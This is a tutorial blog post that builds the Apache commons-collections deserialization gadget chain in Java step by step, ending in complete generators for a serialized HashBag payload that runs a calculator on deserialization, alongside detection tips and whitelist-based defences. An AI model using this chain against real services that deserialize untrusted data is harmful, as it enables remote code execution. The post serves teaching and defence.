I was always curious about how the actual remote code execution occurs during the Insecure Deserialization process. So I thought of giving a try to understand the known harmful gadgets from commons-collections-3.2.2.jar and develop the entire chain from scratch.
Serialization
Before directly jump into the gadget chain preparation, let’s try to understand the root cause of “Insecure Deserialization”.
Serializable is a marker interface. It has no data member and method.
It is used to “mark” java classes so that objects of these classes may get a certain capability.
The fundamental purpose of serialization is to convert the data structure (i.e., state of an object) into a format (for Example: byte stream) that can be stored and transmitted over a network link for future consumption.
publicclassUserimplementsjava.io.Serializable{privateStringname;privatefinalStringnickname;// final => NO impact, WILL be serializedstaticintuid;// static => NOT serialize this field, int default value = 0privatetransientStringpassword;// transient => NOT serialize this field, String default value = nullprivatedoubleweight;privateCarc;publicUser(Stringname,Stringnickname,intuid,Stringpassword,doubleweight){this.name=name;this.nickname=nickname;this.uid=uid;this.password=password;this.weight=weight;}// use this constructor if we want to wrap another objectpublicUser(Stringname,Stringnickname,intuid,Stringpassword,doubleweight,Carc){this.name=name;this.nickname=nickname;this.uid=uid;this.password=password;this.weight=weight;this.c=c;}// this method will be called while printing the objectpublicStringtoString(){returnname+" : "+nickname+" : "+uid+" : "+password+" : "+weight+" : "+c;}}
importjava.io.*;publicclassBasicSerialize{publicstaticvoidmain(String[]args){try{Userasinha=newUser("bob","shell",2,"splunk",80.5);// using 1st constructorSystem.out.println(asinha);// equivalent to asinha.toString()Stringfile_name="serialized_object.ser";FileOutputStreamfout=newFileOutputStream(file_name);ObjectOutputStreamoout=newObjectOutputStream(fout);oout.writeObject(asinha);oout.close();fout.close();System.out.println("User object is written to disk as "+file_name);System.out.println();// case 2: trying to serialize a Object whoes type is not User. For example: StringStrings=newString("Hello");System.out.println(s);Stringfile_name2="serialized_object02.ser";FileOutputStreamfout2=newFileOutputStream(file_name2);ObjectOutputStreamoout2=newObjectOutputStream(fout2);oout2.writeObject(s);oout2.close();fout2.close();System.out.println("String object is written to disk as "+file_name2);}catch(Exceptione){e.printStackTrace();}}}
Deserialization
Deserialization is the reverse process where the byte stream is used to recreate the actual Java object in memory.
Example:
Deserialize User class.
123456789101112131415161718192021222324252627
importjava.io.*;publicclassBasicDeserialize{publicstaticvoidmain(String[]args){try{// by default: enableUnsafeSerialization is set to FALSE, enabling it for DemoSystem.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");Stringfname="../Serialization/serialized_object.ser";// good objectFileInputStreamfin=newFileInputStream(fname);ObjectInputStreamoin=newObjectInputStream(fin);Useru=(User)oin.readObject();// actual deserialization process happens hereoin.close();fin.close();System.out.println("The object was read from "+fname+":");System.out.println(u);System.out.println();}catch(Exceptione){e.printStackTrace();}}}
Recreate the same asinha object in the memory.
However, due to transient and static keyword, the uid and password fields have only the default values.
The Bug
The readObject method of java.io.ObjectInputStream is vulnerable.
During the Deserialization process, the readObject() method is always being called, and it can construct any sort of Serializable object that can be found on the Java classpath before passing it back to the caller for the type_check.
Exception can only happen if a type miss-match occurs between the return object and the expected object.
12
java.lang.ClassCastException: class java.lang.String cannot be cast to class User (java.lang.String is in module java.base of loader 'bootstrap'; User is in unnamed module of loader 'app') at BasicDeserialize.main(BasicDeserialize.java:20)
So if the constructed object happens to do anything dangerous during its construction, then it is too late to stop at the point of type checking of that returned object.
importjava.io.*;importjava.util.Base64;publicclassBasicDosDeserialize{publicstaticvoidmain(String[]args){// argument: base64 serialized obj as command linebyte[]userBytes=newbyte[0];if(args[0].startsWith("rO0AB")){userBytes=Base64.getDecoder().decode(args[0].getBytes());}else{System.out.println("\nCaught an exception... Invalid object?\n");System.exit(0);}ByteArrayInputStreambIn=newByteArrayInputStream(userBytes);try{ObjectInputStreamoIn=newObjectInputStream(bIn);System.out.println("here");Userasinha=(User)oIn.readObject();// actual deserializationoIn.close();bIn.close();System.out.println(asinha);}catch(IOException|ClassNotFoundExceptione){System.out.println();e.printStackTrace();System.out.println("\nCaught an exception... Invalid object?\n");}}}
Result:
If we supply that base64 encoded evil object through command_line argument, then during the Deserialization process, it consumes 100% CPU cycle.
Following interesting payloads will directly kill the process.
Check for AC ED 00 05 or rO0A (base64 encoded format) magic numbers in request / response, to know that the application deals with a serialized object.
Content-type header of an HTTP response set to application/x-java-serialized-object.
From Whitebox perceptive:
Search for the Java Serialization APIs such as ObjectInputStream with readObject keywords through out the code base and check how the ObjectInputStream is used.
Before the readObject() method call, does the code check for all expected classes from the serialized object through a whitelist.
How to Exploit
The black box angle uses ysoserial.jar and iterates different payloads to generate the serialized object.
importjava.io.FileInputStream;importjava.io.ObjectInputStream;importjava.util.Arrays;importjava.util.HashSet;importjava.util.Set;publicclassSafeDeserialize{publicstaticvoidmain(String[]args){try{// fix 1: a blacklist based approach where the InvokerTransformer is blocked// however this can be bypassed by discovering a new gadget chains// in current Java, by default enableUnsafeSerialization is set to 'false'System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");// file name of the deserialized objectStringfname="../Serialization/bad_serialized_object.ser";FileInputStreamfin=newFileInputStream(fname);// fix 2: whitelist based approach, resolve the class from the serialized object andSetwhitelist=newHashSet<String>(Arrays.asList("User"));ObjectInputStreamoin=newSafeObjectInputStream(fin,whitelist);// expecting a User type obj, actual deserialization happens hereUsera=(User)oin.readObject();oin.close();fin.close();System.out.println("\nThe object was read from "+fname+":");System.out.println(a);System.out.println();}catch(Exceptione){e.printStackTrace();}}}
12345678910111213141516171819
publicclassSafeObjectInputStream<Public>extendsObjectInputStream{publicSetwhitelist;publicSafeObjectInputStream(InputStreaminputStream,Setwhitelist)throwsIOException{super(inputStream);this.whitelist=whitelist;}@OverrideprotectedClass<?>resolveClass(ObjectStreamClasscls)throwsIOException,ClassNotFoundException{// check with expected whitelist classesif(!whitelist.contains(cls.getName())){thrownewInvalidClassException("Unsupported class => ",cls.getName());}returnsuper.resolveClass(cls);}}
Virtual patching / JVM wide fix: Harden, all java.io.ObjectInputStream usage with an Agent through a blacklist. Example: contrast-rO0.
The readObject() method should be inside the try/catch block because any mismatch occurs between the serialized object and expected object during type_check, then the Exception has to be handled properly.
transient keyword is used not to serialize a variable like the password field. When JVM comes across transient or static keyword, it ignores the original value of the variable and saves the default value of that variable data type.
Some objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can’t be deserialized, a readObject() method should be declared (with a final modifier) which always throws an exception:
123
privatefinalvoidreadObject(ObjectInputStreamin)throwsjava.io.IOException{thrownewjava.io.IOException("Cannot be deserialized");}
You can use Java Security Manager to block specific classes.
Detective control: Log the exceptions and failures that happen during deserialization.
DoS is unavoidable if the expected object type is HashSet / HashMap / ArrayList.
How to inspect Java libraries and classpaths for Gadget Chains
Automated approach: To find the existence of one / more gadget chains, run Gadget Inspector on all libraries (i.e. commons-collections-3.2.2.jar) present in the Java classpaths.
First, let’s understand how we can execute a command in Java.
We can use the Runtime Object in Java to execute system command (i.e., Running the gnome-calculator)
1234567891011121314151617
publicclassConcept01{publicstaticvoidmain(String[]args){try{// understand how to execute command in Java// exec() is not a static method so we can't call directly without creating an object// due to that Runtime.exec("/usr/bin/gnome-calculator"); // => will not NOT work// Runtime.getRuntime().exec("/usr/bin/gnome-calculator"); // compact formRuntimer=Runtime.getRuntime();// step 1: need to get the runtime objectr.exec("/usr/bin/gnome-calculator");// step 2: call the exec() method with the runtime object}catch(Exceptione){e.printStackTrace();}}}
Reflection API
What are the other ways we can execute a command in Java.
Reflection is an API that is used to examine or modify the behavior of methods, classes, interfaces at runtime.
Key Point: Through reflection API, we can invokemethods at runtime irrespective of the access specifier used.
123456789101112131415161718192021
importjava.lang.reflect.Method;importjava.lang.Runtime;publicclassConcept02{publicstaticvoidmain(String[]args){try{// understanding the concept of Java reflection APIClass<Runtime>cls=Runtime.class;Methodm=cls.getMethod("getRuntime");// examine a method of that Class dynamically// equivalent code: Runtime r = (Runtime) Runtime.getRuntime();Runtimer=(Runtime)m.invoke(null,null);// executing the method to get a Runtime object// arg 1 => static class function -> null is passed instead of object// arg 2 => null means no argumentr.exec("/usr/bin/gnome-calculator");}catch(Exceptione){e.printStackTrace();}}}
Execute the gnome-calculator using Reflection API.
Transformer
Key Point: A Transformer transforms an input object to an output object through transform() method.
publicclassConcept03{publicstaticvoidmain(String[]args){try{// understanding the basic concept of transformerStrings="asinha";System.out.println(s);// objective is to reverse the string via transformer.transform() methodMyReverser_transformer=newMyReverse();// MyReverse cls implements transformerSystem.out.println(r_transformer.transform(s));// calling the transform method}catch(Exceptione){e.printStackTrace();}}}
Passing a Stringobject to a Transformer and transform() method reverses the input String and finally returns the String object.
Different categories of Transformers:
ConstantTransformer
Key Point: Always returns the same object specified during initialization.
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ConstantTransformer;importjava.lang.reflect.Method;importjava.util.HashSet;publicclassConcept04{publicstaticvoidmain(String[]args){try{// concept of ConstantTransformerTransformert=newConstantTransformer(Runtime.class);// it's transform() method always returns a reflection of java.lang.Runtime classHashSeth=newHashSet();Classcls=(Class)t.transform(h);System.out.println(cls);Dashboardd=newDashboard(23.9,8000);Classcls02=(Class)t.transform(d);System.out.println(cls02);// both cls and cls02 is same// we can perform command execution using reflection conceptMethodm=cls.getMethod("getRuntime");// examine method dynamically// similar to Runtime r = (Runtime) Runtime.getRuntime();Runtimer=(Runtime)m.invoke(null,null);// executing the method to get a Runtime object// arg 1 => static class function -> null is passed instead of object// arg 2 => null means no argumentr.exec("/usr/bin/gnome-calculator");}catch(Exceptione){e.printStackTrace();}}}
Initializing a ConstantTransformar with Runtime.class so that we can call the transform() method with any object and expecting Runtime.class returns type.
InvokerTransformer
It takes a method name with optional parameters during initialization.
On transform, calls that method for the object provided with the parameters.
123456789101112131415161718192021222324
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.InvokerTransformer;publicclassConcept05{publicstaticvoidmain(String[]args){try{// concept of InvokerTransformerDashboardd=newDashboard(23.9,8000);System.out.println(d.toString());Transformert=newInvokerTransformer("toString",// method namenull,// toString() parameter typesnull// toString() argument);// invoke the toString() method of Dashboard object via InvokerTransformer's transform() methodStringout=(String)t.transform(d);// on `transform`, calls that toString() for the Dashboard objectSystem.out.println(out);// same as d.toString()}catch(Exceptione){e.printStackTrace();}}}
Invoke the toString() method of a Dashboard object via InvokerTransformer.
While initializing the InvokerTransformer, we need to install a method by supplying method_name, argument_type, and argument.
We can’t install any arbitrary method here. The method should be present in the same class whose object we are going to pass on the transform() method.
Command Execution by combining reflection API, ConstantTransformer and InvokerTransformer
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importjava.lang.reflect.Method;publicclassConcept06{publicstaticvoidmain(String[]args){try{// combining the concept of reflection API, ConstantTransformer and InvokerTransformer// equivalent code: Class<Runtime> cls = Runtime.class;Transformert0=newConstantTransformer(Runtime.class);Stringkey="any_key";// we trigger with any Object by passing to the transform() methodClassr0=(Class)t0.transform(key);// transform() returns a reflection Object of java.lang.Runtime classSystem.out.println("object type: "+r0.getClass()+" | but basically it points to "+r0.getName());// equivalent code: Method m = cls.getMethod("getRuntime");Transformert1=newInvokerTransformer("getMethod",// method namenewClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]});Methodm=(Method)t1.transform(r0);System.out.println(m.getClass());// equivalent code: Runtime r = (Runtime) m.invoke(null,null);Transformert2=newInvokerTransformer("invoke",// method namenewClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]});Runtimer=(Runtime)t2.transform(m);System.out.println(r.getClass());// equivalent code: r.exec("/usr/bin/gnome-calculator");Transformert3=newInvokerTransformer("exec",// method namenewClass[]{String.class},newString[]{"/usr/bin/gnome-calculator"});t3.transform(r);// most compact format:t3.transform(t2.transform(t1.transform(t0.transform(key))));}catch(Exceptione){e.printStackTrace();}}}
Open the gnome-calculator by chaining three transformers and executing the transform() method.
ChainedTransformer
Shorten the code for code execution.
Key Point: Takes an array of transformers during initialization and chains them carefully maintaining their execution order.
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;publicclassConcept07{publicstaticvoidmain(String[]args){try{// concept of ChainedTransformerTransformer[]transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newString[]{"/usr/bin/gnome-calculator"}),};TransformerchainedTransformer=newChainedTransformer(transformers);Stringkey="any_key";// we trigger with any Object by passing to the transform() methodchainedTransformer.transform(key);// during the creation of the object in the memory the code execution occurs}catch(Exceptione){e.printStackTrace();}}}
In order to trigger the command execution, somehow we need to execute ChainedTransformer.transform("any_key") method.
However, we still need to understand a few more data structures to connect the dots.
Key Point: Returns null if there’s no value is present for the requested key.
123456789101112131415161718192021222324
importjava.util.HashMap;importjava.util.Map;publicclassConcept08{publicstaticvoidmain(String[]args){try{// understanding HashMapHashMap<String,Integer>h=newHashMap<String,Integer>();// Map<String, Integer> h = new HashMap<String, Integer>(); // we can write this alsoh.put("asinha",9);h.put("bob",2);// inspect the HashMap object statusSystem.out.println(h);System.out.println(h.get("bob"));System.out.println(h.get("alice"));// returns null when NO key is found// inspect the HashMap object statusSystem.out.println(h);// note: when No Key is found, it does not generate any value / add the entry}catch(Exceptione){e.printStackTrace();}}}
LazyMap
A type of Map which creates a value if there’s no value is present for the requested key.
This generation is done through a transformation (i.e transformer.transform() method) on the requested Key.
Key Point:lazyMap.get("invalid_key") calls transformer.transform("invalid_key") method when the key is not found.
importorg.apache.commons.collections.map.LazyMap;importjava.util.HashMap;importjava.util.Map;publicclassConcept09{publicstaticvoidmain(String[]args){try{// understanding LazyMap// HashMap implements the Map interface so we can create Map type object alsoMap<String,Integer>dict=newHashMap<String,Integer>();dict.put("asinha",9);// add an entrydict.put("bob",2);// add another entry// method definition => decorate(Map map, Transformer factory)Maplazymap=LazyMap.decorate(dict,newMyReverse());// MyReverse implements transformerSystem.out.println(lazymap);// inspect the lazymap object statusSystem.out.println(dict);// inspect the underlying HashMap status: result => both are same// lazymap just acts as a wrapper around HashMap,// when no key is found then it generates the value and update HashMap with that new entrySystem.out.println(lazymap.get("asinha"));// search with a valid keySystem.out.println(dict);// check the underlying Map status, no entry is added// invalid key => invokes the transform() method to generate a value through transform() methodStringout=(String)lazymap.get("alice");// transform() method will be calledSystem.out.println(out);System.out.println(dict);// new entry has been added into the underlying HashMap}catch(Exceptione){e.printStackTrace();}}}
Command Execution by combining ChainedTransformer and LazyMap
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importjava.util.HashMap;importjava.util.Map;publicclassConcept10{publicstaticvoidmain(String[]args){try{Transformer[]transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newString[]{"/usr/bin/gnome-calculator"}),};TransformerchainedTransformer=newChainedTransformer(transformers);MaphashMap=newHashMap();// Map lazyMap = LazyMap.decorate(hashMap, new MyReverse());MaplazyMap=LazyMap.decorate(hashMap,chainedTransformer);Stringkey="invalid_key";// trying the add an entry to the HashMaplazyMap.get(key);// this triggers the cmd executionSystem.out.println(hashMap);// an entry wil be added into the HashMap}catch(Exceptione){e.printStackTrace();}}}
TiedMapEntry
This can be used to enable a Map entry to make changes on the underlying map.
importorg.apache.commons.collections.keyvalue.TiedMapEntry;importorg.apache.commons.collections.map.LazyMap;importjava.util.HashMap;importjava.util.Map;publicclassConcept11{publicstaticvoidmain(String[]args){try{// understanding tiedmapentry// HashMap implements the Map interface so we can create Map type object alsoMap<String,Integer>dict=newHashMap<String,Integer>();dict.put("asinha",9);// add an entrydict.put("bob",2);// add another entry// method definition => decorate(Map map, Transformer factory)Maplazymap=LazyMap.decorate(dict,newMyReverse());// MyReverse implements transformerSystem.out.println(dict);// inspect the underlying HashMap status: result => both are same// lazymap just acts as a wrapper around HashMap,Stringvalid_key="asinha";TiedMapEntrytiedmapentry=newTiedMapEntry(lazymap,valid_key);System.out.println(tiedmapentry);// inspect the tiedmapentry object statusSystem.out.println(dict);// inspect the underlying HashMap statusStringinvalid_key="invalid_key";TiedMapEntrytme=newTiedMapEntry(lazymap,invalid_key);// any invalid key invokes transform() methodintres=tme.hashCode();// it intern calls tme.getValue()System.out.println(res);// hashcodeSystem.out.println(dict);// a new entry is added to the underlying HashMap}catch(Exceptione){e.printStackTrace();}}}
HashBag
A Collection that counts the number of times an object appears in the collection.
Backed by an internal HashMap object.
While adding any Object, first it’s hashcode() is calculated. Based on that hashcode/index, it updates the underlying HashMap table entry.
importorg.apache.commons.collections.bag.HashBag;importorg.apache.commons.collections.keyvalue.TiedMapEntry;importorg.apache.commons.collections.map.LazyMap;importjava.util.HashMap;importjava.util.Map;publicclassConcept12{publicstaticvoidmain(String[]args){try{// understanding HashBagMapdict=newHashMap();dict.put("asinha",9);Maplazymap=LazyMap.decorate(dict,newMyReverse());// chainedTransformer.transform() will be calledStringinvalid_key="invalid_key";// Create a TiedMapEntry with the underlying map as our `lazyMap` and an invalid keyTiedMapEntrytiedmapentry=newTiedMapEntry(lazymap,invalid_key);HashBagb=newHashBag();b.add(tiedmapentry);System.out.println(dict);// a new entry is added to the underlying HashMap of tiedmapentry object// format => count: objectSystem.out.println(b);// key = tiedmapentry(it's HashMap is updated), value = count}catch(Exceptione){e.printStackTrace();}}}
Recap
Create a TiedMapEntry with a underlying lazyMap and key is String -> ‘invalid_key’.
This LazyMap is backed by an empty HashMap.
This LazyMap can also use the factory class ChainedTransformer that generates a value dynamically through the transform() method when presented with an invalid key.
Key Point: Finally it updates that entry(i.e key:value pair) into the HashMap.
As the initial HashMap is empty, so any key supplied through TiedMapEntry can trigger the transform() method.
Then add the tiedmapentry Object into a HashBag instance.
We can serialize this HashBag object to generate the payload but during the serialization process, lazymap.get("invalid_key") is called once. So the underlying HashMap is updated with the invalid_key:derived_value entry.
During deserialization process, when TiedMapEntry.hashcode() => lazymap.get(this.key) call occurs, then ChainedTransformer.transform(key) method will not be called because LazyMap does not need to derive the value for that key again through the transform() method. Underlying HashMap is already updated with the entry.
The Solution
The most important thing to taken care is
During the serialization process, we need to wrap a TiedMapEntry Object inside a HashBag object, but somehow we need to stop the invocation of TiedMapEntry.hashcode() method when we add the TidemapEntry object into the HashBag'sHashMap via add() method.
If we can do this, then the underlying LazyMap'sHashMap won’t get updated with the invalid_key:derived_value entry.
Strategy to overcome the challenge
Create a HashBag instance and add any Object into it.
This will invoke Object’s hashcode() method and based on the hashcode / index, the underlying HashBag's => HashMap table entry will be updated with key = Object and value / count = 1.
Now using mokito library, modify that HashBag's => HashMap’sfirst entry in memory.
Replace that Object with TiedMapEntry Object.
We have added only one entry due to that we are modifying the first entry.
As you can observe, till this point, TiedMapEntry.hashcode() is not called anywhere.
Serialize this HashBag Object.
During the deserialization process, the program tries to recreate the same object(i.e., HashBag) in the process memory.
This HashBag => underlying HashMap table should be having one entry, where key= TiedMapEntry Object and count/ value =1. So, to recreate that entry inside the HashBag's HashMap’s table, the table’s index needs to be known. Due to this, TiedMapEntry.hashcode() is called to calculate that index dynamically.
Here the key point is, TiedMapEntry.hashcode() method is getting called the first time, which triggers the code execution.
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.bag.HashBag;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.keyvalue.TiedMapEntry;importorg.apache.commons.collections.map.LazyMap;importorg.mockito.internal.util.reflection.Whitebox;importjava.io.FileOutputStream;importjava.io.ObjectOutputStream;importjava.util.Arrays;importjava.util.HashMap;importjava.util.Map;importjava.util.Objects;publicclassConcept13{publicstaticvoidmain(String[]args){try{Transformer[]transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newString[]{"/usr/bin/gnome-calculator"}),};TransformerchainedTransformer=newChainedTransformer(transformers);MaphashMap=newHashMap();MaplazyMap=LazyMap.decorate(hashMap,chainedTransformer);// calls => chainedTransformer.transform()Stringkey="invalid_key";// Create a TiedMapEntry with the underlying hashmap as our `lazyMap` and invalid_keyTiedMapEntrytidemapentry=newTiedMapEntry(lazyMap,key);HashBaghashBag=newHashBag();hashBag.add(newObject());// set HashBag’s underlying HashMap table’s first entry’s KEY to be our TiedMapEntryMapinternalMap=(Map)Whitebox.getInternalState(hashBag,"map");Object[]nodesArray=(Object[])Whitebox.getInternalState(internalMap,"table");Objectnode=Arrays.stream(nodesArray).filter(Objects::nonNull).findFirst().orElseThrow(()->newRuntimeException("this can't happen"));Whitebox.setInternalState(node,"key",tidemapentry);StringfileName="bad_serialized_object.ser";// serializing an objectFileOutputStreamfout=newFileOutputStream(fileName);ObjectOutputStreamoout=newObjectOutputStream(fout);oout.writeObject(hashBag);// actual serializationoout.close();fout.close();System.out.println("\nThe object was written to "+fileName);}catch(Exceptione){e.printStackTrace();}}}
However, the above code does not produce the serialized object properly.
It throws java.lang.UnsupportedOperationException.
12345678
[SNIPPED]java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183) at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)[SNIPPED]
By default, serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled.
1234
// enable the support in both producer and consumer programs to serialize / deserialize the object without any exceptionSystem.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.bag.HashBag;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.keyvalue.TiedMapEntry;importorg.apache.commons.collections.map.LazyMap;importorg.mockito.internal.util.reflection.Whitebox;importjava.io.FileOutputStream;importjava.io.ObjectOutputStream;importjava.util.Arrays;importjava.util.HashMap;importjava.util.Map;importjava.util.Objects;publicclassConcept14{publicstaticvoidmain(String[]args){try{// set the System.setProperty()System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");Transformer[]transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newString[]{"/usr/bin/gnome-calculator"}),};TransformerchainedTransformer=newChainedTransformer(transformers);MaphashMap=newHashMap();MaplazyMap=LazyMap.decorate(hashMap,chainedTransformer);// called => chainedTransformer.transform()Stringkey="invalid_key";// Create a TiedMapEntry with the underlying hashmap as our `lazyMap` and invalid_keyTiedMapEntrytidemapentry=newTiedMapEntry(lazyMap,key);HashBaghashBag=newHashBag();hashBag.add(newObject());// set HashBag’s underlying HashMap table’s first entry’s KEY to be our TiedMapEntryMapinternalMap=(Map)Whitebox.getInternalState(hashBag,"map");Object[]nodesArray=(Object[])Whitebox.getInternalState(internalMap,"table");Objectnode=Arrays.stream(nodesArray).filter(Objects::nonNull).findFirst().orElseThrow(()->newRuntimeException("this can't happen"));Whitebox.setInternalState(node,"key",tidemapentry);StringfileName="bad_serialized_object_concept13.ser";// serializing an objectFileOutputStreamfout=newFileOutputStream(fileName);ObjectOutputStreamoout=newObjectOutputStream(fout);oout.writeObject(hashBag);// actual serializationoout.close();fout.close();System.out.println("\nThe object was written to "+fileName);}catch(Exceptione){e.printStackTrace();}}}
Video Walkthrough: Debugging the Deserialization Flow
Final Thoughts
If we fix our code and use the safeObjectInputStream during deserialization, then the following things happen while unwrapping the serialized object:
First, it resolves the HashBag Class.
Then it checks if that class is present inside the whitelist.
If that class IS_NOT_FOUND inside the whitelist, then it throws Exception.
We don’t have HashBag in our whitelist. So then we’ll get the Exception, and the attack won’t be successful.
However, if that class IS_FOUND inside the whitelist, then it tries to resolve the next wrapped class (in our case that is TiedMapEntry) and repeats step 2.
If all classes wrapped in the serialized object are present inside our whitelist, then the entire process won’t continue, and we can anticipate the calculator again.
whitelist the following classes to run calculator.
importjava.io.FileInputStream;importjava.io.ObjectInputStream;importjava.util.Arrays;importjava.util.HashSet;importjava.util.Set;publicclassSafeDeserializeRCE{publicstaticvoidmain(String[]args){try{System.setProperty("org.apache.commons.collections.enableUnsafeSerialization","true");// file name of the deserialized objectStringfname="../Serialization/bad_serialized_object.ser";FileInputStreamfin=newFileInputStream(fname);// whitelist all classes for RCESetrce_whitelist=newHashSet<String>(Arrays.asList("org.apache.commons.collections.bag.HashBag","org.apache.commons.collections.keyvalue.TiedMapEntry","org.apache.commons.collections.map.LazyMap","org.apache.commons.collections.functors.ChainedTransformer","[Lorg.apache.commons.collections.Transformer;","org.apache.commons.collections.functors.ConstantTransformer","java.lang.Runtime","org.apache.commons.collections.functors.InvokerTransformer","[Ljava.lang.Object;","[Ljava.lang.Class;","java.lang.String","java.lang.Object","[Ljava.lang.String;","java.lang.Integer","java.lang.Number","java.util.HashMap"));ObjectInputStreamoin=newSafeObjectInputStream(fin,rce_whitelist);// expecting a User type obj, actual deserialization happens hereUsera=(User)oin.readObject();oin.close();fin.close();System.out.println("\nThe object was read from "+fname+":");System.out.println(a);System.out.println();}catch(Exceptione){e.printStackTrace();}}}